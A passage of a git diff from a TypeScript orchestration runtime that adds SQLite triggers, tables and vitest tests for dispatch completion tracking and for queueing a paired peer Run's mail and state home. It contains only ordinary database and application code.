+    version INTEGER, zone TEXT, stamp REAL NOT NULL DEFAULT 0,
+    recovery INTEGER NOT NULL DEFAULT 0, revision INTEGER NOT NULL DEFAULT 0,
+    operation_now REAL NOT NULL DEFAULT 0);
+  INSERT OR IGNORE INTO ${completionState}(id) VALUES(1);
+  CREATE TEMP TRIGGER IF NOT EXISTS orchestration_presentation_completion_insert
+    AFTER INSERT ON main.dispatch_contexts BEGIN ${clock} ${replace} END;
+  CREATE TEMP TRIGGER IF NOT EXISTS orchestration_presentation_completion_update
+    AFTER UPDATE OF id, status, completed_at ON main.dispatch_contexts
+    BEGIN ${clock} DELETE FROM ${completionTable} WHERE id = OLD.id; ${replace} END;
+  CREATE TEMP TRIGGER IF NOT EXISTS orchestration_presentation_completion_delete
+    AFTER DELETE ON main.dispatch_contexts
+    BEGIN ${clock} DELETE FROM ${completionTable} WHERE id = OLD.id; END;`
diff --git a/src/main/runtime/orchestration/db/dispatch-context/presentation-completion-source.test.ts b/src/main/runtime/orchestration/db/dispatch-context/presentation-completion-source.test.ts
new file mode 100644
index 00000000000..1568e5a8615
--- /dev/null
+++ b/src/main/runtime/orchestration/db/dispatch-context/presentation-completion-source.test.ts
@@ -0,0 +1,92 @@
+import { mkdtempSync, rmSync } from 'node:fs'
+import { join } from 'node:path'
+import { tmpdir } from 'node:os'
+import { afterEach, expect, it, vi } from 'vitest'
+import { OrchestrationDb } from '../orchestration-db'
+import { readPresentationDispatchCandidates } from './dispatch-presentation'
+import { withPresentationCompletionSource } from './presentation-completion-source'
+import { orchestrationProjectionFacts } from '../../crew/orchestration-projection-facts'
+
+const now = Date.parse('2026-11-09T12:00:00Z')
+afterEach(() => vi.restoreAllMocks())
+
+function add(db: OrchestrationDb, id: string, completedAt: string) {
+  db.db
+    .prepare(
+      "INSERT INTO dispatch_contexts(id,task_id,assignee_handle,status,completed_at) VALUES(?,'task',?,'completed',?)"
+    )
+    .run(id, id, completedAt)
+}
+
+it('reinstalls a completion source whose first initialization rolled back with its caller', () => {
+  const db = new OrchestrationDb(':memory:')
+  try {
+    db.db.exec('BEGIN; SAVEPOINT caller')
+    add(db, 'rolled-back', '2026-11-09T12:00:00Z')
+    expect(readPresentationDispatchCandidates(db, now).map((row) => row.id)).toEqual([
+      'rolled-back'
+    ])
+    db.db.exec('ROLLBACK TO caller; RELEASE caller; ROLLBACK')
+    add(db, 'committed', '2026-11-09 12:00:00')
+    expect(readPresentationDispatchCandidates(db, now).map((row) => row.id)).toEqual(['committed'])
+    db.db
+      .prepare(
+        "UPDATE dispatch_contexts SET id='renamed',completed_at='2020-01-01T00:00:00Z' WHERE id='committed'"
+      )
+      .run()
+    expect(readPresentationDispatchCandidates(db, now)).toEqual([])
+  } finally {
+    db.close()
+  }
+})
+
+it('rebuilds warm projection membership when the runtime timezone changes local completion meaning', () => {
+  const prior = process.env.TZ
+  const db = new OrchestrationDb(':memory:')
+  vi.spyOn(Date, 'now').mockReturnValue(now)
+  try {
+    process.env.TZ = 'UTC'
+    add(db, 'local-completion', '2026-11-09T04:00:00')
+    expect([...orchestrationProjectionFacts(db, now)!.rows()]).toEqual([])
+    process.env.TZ = 'America/Los_Angeles'
+    expect([...orchestrationProjectionFacts(db, now)!.rows()].map((row) => row.id)).toEqual([
+      'local-completion'
+    ])
+    process.env.TZ = 'UTC'
+    expect([...orchestrationProjectionFacts(db, now)!.rows()]).toEqual([])
+  } finally {
+    if (prior === undefined) {
+      delete process.env.TZ
+    } else {
+      process.env.TZ = prior
+    }
+    db.close()
+  }
+})
+
+it('keeps normalization and candidate retrieval on one snapshot across an ordinary external commit', () => {
+  const folder = mkdtempSync(join(tmpdir(), 'orca-completion-source-'))
+  const path = join(folder, 'orchestration.sqlite')
+  const db = new OrchestrationDb(path)
+  db.db.pragma('journal_mode = WAL')
+  const other = new OrchestrationDb(path)
+  try {
+    add(db, 'first', '2026-11-09T12:00:00Z')
+    withPresentationCompletionSource(db.db, now, () => {
+      add(other, 'external', '2026-11-09T12:00:00Z')
+      expect(readPresentationDispatchCandidates(db, now).map((row) => row.id)).toEqual(['first'])
+    })
+    expect(readPresentationDispatchCandidates(db, now).map((row) => row.id)).toEqual([
+      'first',
+      'external'
+    ])
+    other.db
+      .prepare("UPDATE dispatch_contexts SET completed_at='2020-01-01T00:00:00Z' WHERE id='first'")
+      .run()
+    expect(readPresentationDispatchCandidates(db, now).map((row) => row.id)).toEqual(['external'])
+  } finally {
+    other.close()
+    db.close()
+    rmSync(folder, { recursive: true, force: true })
+  }
+})
diff --git a/src/main/runtime/orchestration/db/dispatch-context/presentation-completion-source.ts b/src/main/runtime/orchestration/db/dispatch-context/presentation-completion-source.ts
new file mode 100644
index 00000000000..7153d6dcfbb
--- /dev/null
+++ b/src/main/runtime/orchestration/db/dispatch-context/presentation-completion-source.ts
@@ -0,0 +1,121 @@
+import type Database from '../../../../sqlite/sync-database'
+import { AGENT_STATUS_STALE_AFTER_MS } from '../../../../../shared/agent-status/contracts/agent-status-freshness'
+import { dispatchCompletionEpoch } from './dispatch-completion-epoch'
+import {
+  completionTable,
+  completionState,
+  presentationCompletionSchema
+} from './presentation-completion-schema'
+
+type Snapshot = { revision: number; version: number }
+const sources = new WeakMap<Database.Database, PresentationCompletionSource>()
+
+/** Normalization belongs to the connection, independently of disposable projection caches. */
+class PresentationCompletionSource {
+  private installed = false
+  private snapshot: Snapshot | undefined
+
+  constructor(private readonly db: Database.Database) {
+    db.function('orchestration_completion_epoch', dispatchCompletionEpoch)
+    db.function('orchestration_presentation_now', () => Date.now())
+  }
+
+  read<T>(now: number, read: (snapshot: Snapshot) => T): T {
+    if (this.snapshot) {
+      return read(this.snapshot)
+    }
+    const outer = this.db.isTransaction
+    this.db.exec('SAVEPOINT orchestration_presentation_source')
+    try {
+      this.install()
+      // Acquire the main snapshot before observing its data_version, including an empty source.
+      this.db.prepare('SELECT rowid FROM main.dispatch_contexts LIMIT 1').get()
+      const state = this.db
+        .prepare(`SELECT *, (SELECT data_version FROM pragma_data_version) AS current_version
+          FROM temp.${completionState} WHERE id = 1`)
+        .get()
+      if (
+        !state ||
+        typeof state.current_version !== 'number' ||
+        typeof state.revision !== 'number'
+      ) {
+        throw new Error('Orchestration presentation source is unavailable')
+      }
+      const zone = `${process.env.TZ ?? ''}|${Intl.DateTimeFormat().resolvedOptions().timeZone}`
+      let revision = state.revision
+      if (
+        state.ready !== 1 ||
+        state.recovery === 1 ||
+        state.version !== state.current_version ||
+        state.zone !== zone ||
+        typeof state.stamp !== 'number' ||
+        now < state.stamp
+      ) {
+        this.rebuild(now)
+        revision++
+        this.db
+          .prepare(`UPDATE temp.${completionState} SET ready = 1, version = ?, zone = ?,
+            recovery = 0, revision = ? WHERE id = 1`)
+          .run(state.current_version, zone, revision)
+      }
+      this.db
+        .prepare(`DELETE FROM temp.${completionTable} WHERE epoch < ?`)
+        .run(now - AGENT_STATUS_STALE_AFTER_MS)
+      this.db.prepare(`UPDATE temp.${completionState} SET stamp = ? WHERE id = 1`).run(now)
+      this.snapshot = { revision, version: state.current_version }
+      const result = read(this.snapshot)
+      this.db.exec('RELEASE orchestration_presentation_source')
+      if (!outer) {
+        this.installed = true
+      }
+      return result
+    } catch (error) {
+      this.db.exec('ROLLBACK TO orchestration_presentation_source')
+      this.db.exec('RELEASE orchestration_presentation_source')
+      throw error
+    } finally {
+      this.snapshot = undefined
+    }
+  }
+
+  private install(): void {
+    if (this.installed) {
+      return
+    }
+    // First initialization inside a caller transaction may have rolled back its TEMP schema.
+    if (
+      !this.db
+        .prepare('SELECT 1 FROM sqlite_temp_master WHERE type = ? AND name = ?')
+        .get('table', completionState)
+    ) {
+      this.db.exec(presentationCompletionSchema)
+    }
+  }
+
+  private rebuild(now: number): void {
+    this.db.prepare(`DELETE FROM temp.${completionTable}`).run()
+    const insert = this.db.prepare(`INSERT INTO temp.${completionTable}(id, epoch) VALUES (?, ?)`)
+    for (const row of this.db
+      .prepare(`SELECT id, completed_at FROM dispatch_contexts
+        WHERE status NOT IN ('pending', 'dispatched')`)
+      .iterate()) {
+      const epoch = dispatchCompletionEpoch(row.completed_at)
+      if (epoch !== null && epoch >= now - AGENT_STATUS_STALE_AFTER_MS) {
+        insert.run(row.id, epoch)
+      }
+    }
+  }
+}
+
+export function withPresentationCompletionSource<T>(
+  db: Database.Database,
+  now: number,
+  read: (snapshot: Snapshot) => T
+): T {
+  let source = sources.get(db)
+  if (!source) {
+    source = new PresentationCompletionSource(db)
+    sources.set(db, source)
+  }
+  return source.read(now, read)
+}
diff --git a/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts b/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts
index 9152202ada9..4f812539964 100644
--- a/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts
+++ b/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts
@@ -168,6 +168,10 @@ export function settleWorkerReportInTransaction(
   let dispatchUpdate: { changes: number }
   let taskUpdate: { changes: number }
   if (settledByUnobservedPrompt) {
+    // A paired coordinator gets the correction once, after all its writes; see peer_run_corrections.
+    this.db
+      .prepare('INSERT INTO peer_run_corrections (dispatch_id) VALUES (?)')
+      .run(params.dispatchId)
     const now = new Date().toISOString()
     const dispatchTransition = transitionLifecycleWithDb(this.db, {
       entity: 'dispatch',
@@ -239,6 +243,7 @@ export function settleWorkerReportInTransaction(
       projection: { stage: 'settled', updated_at: new Date().toISOString() },
       correction: 'unobserved_prompt_report'
     })
+    this.db.prepare('DELETE FROM peer_run_corrections WHERE dispatch_id = ?').run(params.dispatchId)
   } else if ((unprovenWorker || reportingStart) && params.outcome === 'succeeded') {
     transitionLifecycleWithDb(this.db, {
       entity: 'worker',
diff --git a/src/main/runtime/orchestration/db/federated-worker-report-outcome.test.ts b/src/main/runtime/orchestration/db/federated-worker-report-outcome.test.ts
deleted file mode 100644
index 229fa21a593..00000000000
--- a/src/main/runtime/orchestration/db/federated-worker-report-outcome.test.ts
+++ /dev/null
@@ -1,18 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { parseFederatedWorkerReportOutcome } from '../legacy-remote/federated-worker-report-outcome'
-
-describe('federated-worker-report-outcome', () => {
-  it('reads succeeded or failed from a nested report payload', () => {
-    const succeeded = JSON.stringify({ payload: JSON.stringify({ outcome: 'succeeded' }) })
-    const failed = JSON.stringify({ payload: JSON.stringify({ outcome: 'failed' }) })
-    expect(parseFederatedWorkerReportOutcome(succeeded)).toBe('succeeded')
-    expect(parseFederatedWorkerReportOutcome(failed)).toBe('failed')
-  })
-
-  it('returns undefined for malformed or non-terminal outcomes', () => {
-    expect(parseFederatedWorkerReportOutcome('not-json')).toBeUndefined()
-    expect(parseFederatedWorkerReportOutcome(JSON.stringify({ payload: {} }))).toBeUndefined()
-    const other = JSON.stringify({ payload: JSON.stringify({ outcome: 'running' }) })
-    expect(parseFederatedWorkerReportOutcome(other)).toBeUndefined()
-  })
-})
diff --git a/src/main/runtime/orchestration/db/federation/peer-mail-store.ts b/src/main/runtime/orchestration/db/federation/peer-mail-store.ts
index da829b40e5e..ffe1e3b2cb9 100644
--- a/src/main/runtime/orchestration/db/federation/peer-mail-store.ts
+++ b/src/main/runtime/orchestration/db/federation/peer-mail-store.ts
@@ -78,7 +78,7 @@ export function listHomePeerMailEnvironments(this: OrchestrationDb): string[] {
 export function listPeerConversationIds(this: OrchestrationDb, peerFingerprint: string): string[] {
   const statement = this.db.prepare(
     `SELECT conversation_id FROM peer_mail_conversations
-     WHERE role = 'peer' AND peer_fingerprint = ?`
+     WHERE role = 'peer' AND peer_fingerprint = ? ORDER BY conversation_id`
   )
   // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT over this table returns exactly these columns.
   const rows = statement.all(peerFingerprint) as { conversation_id: string }[]
@@ -118,6 +118,14 @@ export function insertPeerMailMessage(
   | { message: MessageRow | undefined; duplicate: true } {
   this.db.exec('SAVEPOINT peer_mail_insert')
   try {
+    // A peer Run's conversation keeps its own queue sequence, so it never carries peer mail.
+    if (this.getPeerRunForConversation(params.conversationId)) {
+      throw new OrchestrationError(
+        'request_mismatch',
+        `Conversation ${params.conversationId} belongs to a coordinated Run. Nothing was delivered.`,
+        { effectsApplied: false }
+      )
+    }
     if (params.peerFingerprint !== undefined) {
       const conversation = this.getPeerMailConversation(params.conversationId)
       if (
diff --git a/src/main/runtime/orchestration/db/lifecycle-transition.ts b/src/main/runtime/orchestration/db/lifecycle-transition.ts
index 5eefd879ecb..f0b44ee85ae 100644
--- a/src/main/runtime/orchestration/db/lifecycle-transition.ts
+++ b/src/main/runtime/orchestration/db/lifecycle-transition.ts
@@ -1,6 +1,7 @@
 import type Database from '../../../sqlite/sync-database'
 import { OrchestrationError } from '../orchestration-error'
 import type { OrchestrationDb } from './orchestration-db'
+import { notifyPeerMailQueued } from '../federation/peer-mail/peer-mail-waiters'
 
 /** Callers own transactions so lifecycle projections and mailbox effects commit atomically together. */
 export type LifecycleEntity = 'task' | 'dispatch' | 'worker'
@@ -189,7 +190,8 @@ export function transitionLifecycleWithDb(
       `${params.entity} ${params.id} changed while transitioning.`
     )
   }
-
+  // A peer Run's change is queued home by trigger in this statement.
+  notifyPeerMailQueued(db)
   return { changed: true }
 }
 
diff --git a/src/main/runtime/orchestration/db/messages/message-inbox.ts b/src/main/runtime/orchestration/db/messages/message-inbox.ts
index e0ec891fd63..f201d19e808 100644
--- a/src/main/runtime/orchestration/db/messages/message-inbox.ts
+++ b/src/main/runtime/orchestration/db/messages/message-inbox.ts
@@ -226,11 +226,14 @@ export function markAsReadAndDelivered(this: OrchestrationDb, ids: string[]): vo
   )
 }
 
-export function getInbox(this: OrchestrationDb, limit = 20): MessageRow[] {
+export function getInbox(this: OrchestrationDb, limit = 20, runId?: string): MessageRow[] {
   return exposeMessageListTimestamps(
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT * over messages returns the row shape its schema and MessageRow define, like every row cast in db/.
     this.db
-      .prepare('SELECT * FROM messages ORDER BY sequence DESC LIMIT ?')
-      .all(limit) as MessageRow[]
+      .prepare(
+        'SELECT * FROM messages WHERE (?1 IS NULL OR run_id = ?1) ORDER BY sequence DESC LIMIT ?2'
+      )
+      .all(runId ?? null, limit) as MessageRow[]
   )
 }
 
@@ -239,22 +242,19 @@ export function getAllMessagesForHandle(
   this: OrchestrationDb,
   toHandle: string,
   limit = 100,
-  types?: MessageType[]
+  types?: MessageType[],
+  runId?: string
 ): MessageRow[] {
-  if (types && types.length > 0) {
-    const placeholders = types.map(() => '?').join(',')
-    return exposeMessageListTimestamps(
-      this.db
-        .prepare(
-          `SELECT * FROM messages WHERE to_handle = ? AND type IN (${placeholders}) ORDER BY sequence DESC LIMIT ?`
-        )
-        .all(toHandle, ...types, limit) as MessageRow[]
-    )
-  }
+  const typed = types && types.length > 0
+  const typeFilter = typed ? `AND type IN (${types.map(() => '?').join(',')})` : ''
   return exposeMessageListTimestamps(
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT * over messages returns the row shape its schema and MessageRow define, like every row cast in db/.
     this.db
-      .prepare('SELECT * FROM messages WHERE to_handle = ? ORDER BY sequence DESC LIMIT ?')
-      .all(toHandle, limit) as MessageRow[]
+      .prepare(
+        `SELECT * FROM messages WHERE to_handle = ? AND (? IS NULL OR run_id = ?) ${typeFilter}
+         ORDER BY sequence DESC LIMIT ?`
+      )
+      .all(toHandle, runId ?? null, runId ?? null, ...(typed ? types : []), limit) as MessageRow[]
   )
 }
 
diff --git a/src/main/runtime/orchestration/db/messages/message-insert.ts b/src/main/runtime/orchestration/db/messages/message-insert.ts
index cc590b76b1a..24c45a19e7d 100644
--- a/src/main/runtime/orchestration/db/messages/message-insert.ts
+++ b/src/main/runtime/orchestration/db/messages/message-insert.ts
@@ -8,6 +8,7 @@ import { generateId } from '../generated-id'
 import { exposeMessageTimestamps } from '../utc-timestamp'
 import type { OrchestrationDb } from '../orchestration-db'
 import { runLifecycleWriteTransaction } from '../lifecycle-write-transaction-runner'
+import { notifyPeerMailQueued } from '../../federation/peer-mail/peer-mail-waiters'
 import { ORCHESTRATION_UNBOUND_RUN_ID as UNBOUND_RUN_ID } from '../../../../../shared/orchestration/orchestration-rpc-contract'
 
 const MESSAGE_INSERT_SAVEPOINT = 'message_insert_batch'
@@ -27,6 +28,8 @@ export type MessageInsert = {
   runId?: string
   answerSenderSnapshot?: string
   deliveryContract?: MessageDeliveryContract
+  /** The Dispatch whose worker sent this, as the sender's own check found it; kept for a peer Run's queue. */
+  senderDispatchId?: string
 }
 
 export function insertMessage(this: OrchestrationDb, msg: MessageInsert): MessageRow {
@@ -44,6 +47,16 @@ export function insertMessage(this: OrchestrationDb, msg: MessageInsert): Messag
   this.requireRun(runId)
   const id = msg.id ?? generateId('msg')
   const type = msg.type ?? 'status'
+  if (msg.senderDispatchId) {
+    // Before the insert, whose trigger queues a peer Run's mail home with it; immutable after.
+    this.db
+      .prepare(
+        `INSERT OR IGNORE INTO message_dispatch_provenance (message_id, dispatch_id, task_id)
+         SELECT ?, d.id, d.task_id FROM dispatch_contexts d
+         WHERE d.id = ? AND d.run_id IN (SELECT run_id FROM peer_runs)`
+      )
+      .run(id, msg.senderDispatchId)
+  }
   // Heartbeats only record liveness: store them handled so they never reach a mailbox or wake it.
   const handled = type === 'heartbeat' ? 1 : 0
   const stmt = this.db.prepare(`
@@ -70,6 +83,8 @@ export function insertMessage(this: OrchestrationDb, msg: MessageInsert): Messag
     handled,
     handled
   )
+  // Mail filed in a peer Run is queued home by trigger in this statement.
+  notifyPeerMailQueued(this.db)
   return exposeMessageTimestamps(
     this.db.prepare('SELECT * FROM messages WHERE id = ?').get(id) as MessageRow
   )
diff --git a/src/main/runtime/orchestration/db/orchestration-db-methods.ts b/src/main/runtime/orchestration/db/orchestration-db-methods.ts
index 0e06a05191d..9072fe5c5fe 100644
--- a/src/main/runtime/orchestration/db/orchestration-db-methods.ts
+++ b/src/main/runtime/orchestration/db/orchestration-db-methods.ts
@@ -10,6 +10,7 @@ import type { FederationRelayAckMethods } from './federation/federation-relay-ac
 import type { LegacyRemoteDbMethods } from '../legacy-remote/legacy-remote-db-methods'
 import type { LegacyRemoteHomeDbMethods } from '../legacy-remote-home/legacy-remote-home-db-methods'
 import type { PeerMailStoreMethods } from './federation/peer-mail-store'
+import type { PeerRunStoreMethods } from './peer-runs/peer-run-store'
 import type { LegacyAskOperationMethods } from './legacy/legacy-ask-operation'
 import type { LegacyCompatibilityCandidatesMethods } from './legacy/legacy-compatibility-candidates'
 import type { LegacyCompatibilityPrincipalsMethods } from './legacy/legacy-compatibility-principals'
@@ -104,6 +105,7 @@ export type OrchestrationDbMethods = AttemptObservationStoreMethods &
   LegacyRemoteDbMethods &
   FederationRelayAckMethods &
   PeerMailStoreMethods &
+  PeerRunStoreMethods &
   StructuredMailSendStoreMethods &
   WorkerTerminalResourceStoreMethods &
   WorkerTerminalTransferMethods &
diff --git a/src/main/runtime/orchestration/db/orchestration-db.ts b/src/main/runtime/orchestration/db/orchestration-db.ts
index 25bec3ae31c..3fcd88f18b1 100644
--- a/src/main/runtime/orchestration/db/orchestration-db.ts
+++ b/src/main/runtime/orchestration/db/orchestration-db.ts
@@ -15,6 +15,7 @@ import {
   rememberCurrentRunCoordinatorHandles
 } from './runs/run-coordinator-mail-routing'
 import { createTables } from './schema/create-tables'
+import { createPeerRunQueueTriggers } from './peer-runs/peer-run-queue-sql'
 import { migrate } from './schema/migrate'
 import { backfillStructuredWorkerOrcaSessionIds } from './schema/structured-worker-orca-session-backfill'
 import { reconcileSettledWorkerDispatches } from './worker-dispatch/worker-dispatch-settlement'
@@ -63,6 +64,7 @@ class OrchestrationDbCore {
       }
     }
     createRunCoordinatorAddressTriggers(this.db)
+    createPeerRunQueueTriggers(this.db)
     backfillFederatedStubHomeRuns(this.db)
     // After every open step that creates Runs, before any step that deletes work.
     installRemovedWorkCapture(this.db, removedWorkCaptureWasIntact)
diff --git a/src/main/runtime/orchestration/db/peer-runs/peer-run-queue-sql.ts b/src/main/runtime/orchestration/db/peer-runs/peer-run-queue-sql.ts
new file mode 100644
index 00000000000..c2862a64508
--- /dev/null
+++ b/src/main/runtime/orchestration/db/peer-runs/peer-run-queue-sql.ts
@@ -0,0 +1,175 @@
+import type Database from '../../../../sqlite/sync-database'
+import { REMOTE_OWNED_WIRE_VERSION } from '../../../../../shared/orchestration/remote-owned-wire'
+
+/**
+ * A Run here whose coordinator is a paired Orca, keyed by the conversation its queue goes home
+ * under. It outlives this Orca's resets, so the conversation keeps its Run ID and its sequence.
+ * Each conversation's next `to_home` sequence is persistent too, so a reset never reuses one.
+ * A worker message's Dispatch is recorded when it is filed, before any reroute into the Run.
+ */
+export const PEER_RUN_SCHEMA_SQL = `
+CREATE TABLE IF NOT EXISTS peer_runs (
+  run_id           TEXT PRIMARY KEY,
+  conversation_id  TEXT NOT NULL UNIQUE,
+  peer_fingerprint TEXT NOT NULL,
+  home_run_id      TEXT NOT NULL,
+  home_label       TEXT NOT NULL,
+  state            TEXT NOT NULL DEFAULT 'open' CHECK(state IN ('open', 'closed')),
+  created_at       TEXT NOT NULL DEFAULT (datetime('now'))
+);
+
+CREATE TABLE IF NOT EXISTS federation_relay_sequences (
+  dispatch_id   TEXT NOT NULL,
+  direction     TEXT NOT NULL,
+  last_sequence INTEGER NOT NULL,
+  PRIMARY KEY (dispatch_id, direction)
+);
+
+-- A Dispatch whose report owner's correction is being written: its edges queue nothing until the
+-- row is removed, which queues the corrected state once, flagged.
+CREATE TABLE IF NOT EXISTS peer_run_corrections (
+  dispatch_id TEXT PRIMARY KEY
+);
+
+CREATE TABLE IF NOT EXISTS message_dispatch_provenance (
+  message_id  TEXT PRIMARY KEY,
+  dispatch_id TEXT NOT NULL,
+  task_id     TEXT NOT NULL
+);
+`
+
+/** A peer-Run Dispatch as a `worker_state` item carries it, with its Task and Run. */
+const PEER_RUN_DISPATCH_STATE_VIEW_SQL = `
+DROP VIEW IF EXISTS peer_run_dispatch_state;
+CREATE VIEW peer_run_dispatch_state AS
+SELECT d.id AS dispatch_id, pr.conversation_id, pr.home_run_id, pr.run_id AS peer_run_id,
+  json_object(
+    'id', d.id, 'taskId', d.task_id, 'status', d.status, 'workerState', w.state,
+    'lastFailure', d.last_failure, 'agent', json_extract(w.start_options, '$.agent')
+  ) AS dispatch_json,
+  json_object('status', t.status, 'result', t.result) AS task_json
+FROM dispatch_contexts d
+JOIN peer_runs pr ON pr.run_id = d.run_id
+JOIN tasks t ON t.id = d.task_id
+LEFT JOIN worker_dispatches w ON w.dispatch_id = d.id;
+`
+
+const SEQUENCE = `(SELECT last_sequence FROM federation_relay_sequences
+  WHERE dispatch_id = conversation_id AND direction = 'to_home')`
+
+/**
+ * Takes the conversation's next sequence, then queues the item under it. `rows` selects at most one
+ * row with `conversation_id` and the item's `message_id` and `payload`; both statements read it.
+ */
+function queueItemStatements(rows: string, kind: string): [string, string] {
+  return [
+    `INSERT INTO federation_relay_sequences (dispatch_id, direction, last_sequence)
+     SELECT conversation_id, 'to_home', 1 FROM (${rows}) WHERE true
+     ON CONFLICT(dispatch_id, direction) DO UPDATE SET last_sequence = last_sequence + 1`,
+    `INSERT INTO federation_relay_items
+       (dispatch_id, direction, sequence, message_id, kind, payload, byte_count)
+     SELECT conversation_id, 'to_home', ${SEQUENCE}, message_id, '${kind}', payload, length(payload)
+     FROM (${rows})`
+  ]
+}
+
+/** One `worker_state` item for a peer-Run Dispatch; its ID is the sequence it is queued under. */
+export function peerRunDispatchStateStatements(
+  dispatchId: string,
+  corrected: boolean,
+  removed: string
+): [string, string] {
+  return queueItemStatements(
+    `SELECT conversation_id, 'state_' || ${SEQUENCE} AS message_id,
+       json_object(
+         'v', ${REMOTE_OWNED_WIRE_VERSION}, 'id', 'state_' || ${SEQUENCE},
+         'homeRunId', home_run_id, 'peerRunId', peer_run_id,
+         'dispatch', json(dispatch_json), 'task', json(task_json),
+         'correctedUnobservedPrompt', json('${corrected}'),
+         'removed', ${removed}
+       ) AS payload
+     FROM peer_run_dispatch_state WHERE dispatch_id = ${dispatchId}`,
+    'worker_state'
+  )
+}
+
+/** A message filed in a peer Run's mailbox, once, with the Dispatch its sender worked for. */
+function peerRunMailStatements(row: string): [string, string] {
+  return queueItemStatements(
+    `SELECT pr.conversation_id, ${row}.id AS message_id,
+       json_object(
+         'v', ${REMOTE_OWNED_WIRE_VERSION}, 'id', ${row}.id,
+         'homeRunId', pr.home_run_id, 'peerRunId', pr.run_id,
+         'message', json_object(
+           'from', ${row}.from_handle, 'type', ${row}.type, 'subject', ${row}.subject,
+           'body', ${row}.body, 'payload', ${row}.payload, 'priority', ${row}.priority,
+           'threadId', ${row}.thread_id
+         ),
+         'dispatchId', p.dispatch_id, 'taskId', p.task_id
+       ) AS payload
+     FROM peer_runs pr
+     LEFT JOIN message_dispatch_provenance p ON p.message_id = ${row}.id
+     WHERE ${row}.to_handle = 'run:' || pr.run_id
+       AND NOT EXISTS (
+         SELECT 1 FROM federation_relay_items
+         WHERE dispatch_id = pr.conversation_id AND direction = 'to_home'
+           AND message_id = ${row}.id
+       )`,
+    'worker_mail'
+  )
+}
+
+const LATEST_TASK_DISPATCH = (taskId: string) =>
+  `(SELECT id FROM dispatch_contexts WHERE task_id = ${taskId} ORDER BY rowid DESC LIMIT 1)`
+
+const NOT_CORRECTING = (dispatchId: string) =>
+  `NOT EXISTS (SELECT 1 FROM peer_run_corrections WHERE dispatch_id = ${dispatchId})`
+
+const trigger = (statements: [string, string]) => `BEGIN ${statements.join(';\n')}; END;`
+
+/**
+ * Every final message of a peer Run's mailbox and every lifecycle change of its Dispatches, their
+ * workers and their Tasks queue home in the transaction that made them. Rebuilt on every open.
+ * The report owner's unobserved-prompt correction queues once, flagged, after all its writes.
+ */
+export function createPeerRunQueueTriggers(db: Database.Database): void {
+  db.exec('BEGIN IMMEDIATE')
+  try {
+    db.exec(`
+      ${PEER_RUN_DISPATCH_STATE_VIEW_SQL}
+      DROP TRIGGER IF EXISTS trg_peer_run_mail_insert;
+      DROP TRIGGER IF EXISTS trg_peer_run_mail_reroute;
+      DROP TRIGGER IF EXISTS trg_peer_run_dispatch_insert;
+      DROP TRIGGER IF EXISTS trg_peer_run_dispatch_status;
+      DROP TRIGGER IF EXISTS trg_peer_run_worker_state;
+      DROP TRIGGER IF EXISTS trg_peer_run_task_status;
+      DROP TRIGGER IF EXISTS trg_peer_run_correction;
+      CREATE TRIGGER trg_peer_run_mail_insert AFTER INSERT ON messages
+      WHEN NEW.to_handle LIKE 'run:%' AND NEW.type <> 'heartbeat'
+      ${trigger(peerRunMailStatements('NEW'))}
+      CREATE TRIGGER trg_peer_run_mail_reroute AFTER UPDATE OF to_handle ON messages
+      WHEN NEW.to_handle LIKE 'run:%' AND NEW.to_handle <> OLD.to_handle AND NEW.type <> 'heartbeat'
+      ${trigger(peerRunMailStatements('NEW'))}
+      CREATE TRIGGER trg_peer_run_dispatch_insert AFTER INSERT ON dispatch_contexts
+      ${trigger(peerRunDispatchStateStatements('NEW.id', false, 'NULL'))}
+      CREATE TRIGGER trg_peer_run_dispatch_status AFTER UPDATE OF status ON dispatch_contexts
+      WHEN NEW.status <> OLD.status AND ${NOT_CORRECTING('NEW.id')}
+      ${trigger(peerRunDispatchStateStatements('NEW.id', false, 'NULL'))}
+      CREATE TRIGGER trg_peer_run_worker_state AFTER UPDATE OF state ON worker_dispatches
+      WHEN NEW.state <> OLD.state AND ${NOT_CORRECTING('NEW.dispatch_id')}
+      ${trigger(peerRunDispatchStateStatements('NEW.dispatch_id', false, 'NULL'))}
+      CREATE TRIGGER trg_peer_run_task_status AFTER UPDATE OF status ON tasks
+      WHEN NEW.status <> OLD.status AND NOT EXISTS (
+        SELECT 1 FROM peer_run_corrections c JOIN dispatch_contexts d ON d.id = c.dispatch_id
+        WHERE d.task_id = NEW.id
+      )
+      ${trigger(peerRunDispatchStateStatements(LATEST_TASK_DISPATCH('NEW.id'), false, 'NULL'))}
+      CREATE TRIGGER trg_peer_run_correction AFTER DELETE ON peer_run_corrections
+      ${trigger(peerRunDispatchStateStatements('OLD.dispatch_id', true, 'NULL'))}
+    `)
+    db.exec('COMMIT')
+  } catch (error) {
+    db.exec('ROLLBACK')
+    throw error
+  }
+}
diff --git a/src/main/runtime/orchestration/db/peer-runs/peer-run-queue.test.ts b/src/main/runtime/orchestration/db/peer-runs/peer-run-queue.test.ts
new file mode 100644
index 00000000000..a8b9bd4ce3b
--- /dev/null
+++ b/src/main/runtime/orchestration/db/peer-runs/peer-run-queue.test.ts
@@ -0,0 +1,265 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+import { OrchestrationDb } from '../orchestration-db'
+import { generateId } from '../generated-id'
+import {
+  RemoteOwnedWorkerMail,
+  RemoteOwnedWorkerState
+} from '../../../../../shared/orchestration/remote-owned-wire'
+import { AGENT_PROMPT_STALLED_ERROR } from '../../../terminal/input/agent-prompt-submission-verification'
+import type { PeerRunRow } from './peer-run-store'
+
+describe("a paired Orca's Run: its queue home", () => {
+  let db: OrchestrationDb
+  let peerRun: PeerRunRow
+
+  beforeEach(() => {
+    db = new OrchestrationDb(':memory:')
+    peerRun = db.admitPeerRun({
+      peerFingerprint: 'fingerprint_a',
+      peerRun: { runId: 'run_home', conversationId: generateId('peerconv'), label: 'devA' }
+    })
+  })
+
+  afterEach(() => db.close())
+
+  function start(params: { adoptTaskId?: string; retryOf?: string } = {}) {
+    return db.createStartingWorkerDispatch({
+      taskSpec: 'Build it',
+      taskRunId: peerRun.run_id,
+      startOptions: { agent: 'claude' },
+      creator: { kind: 'system' },
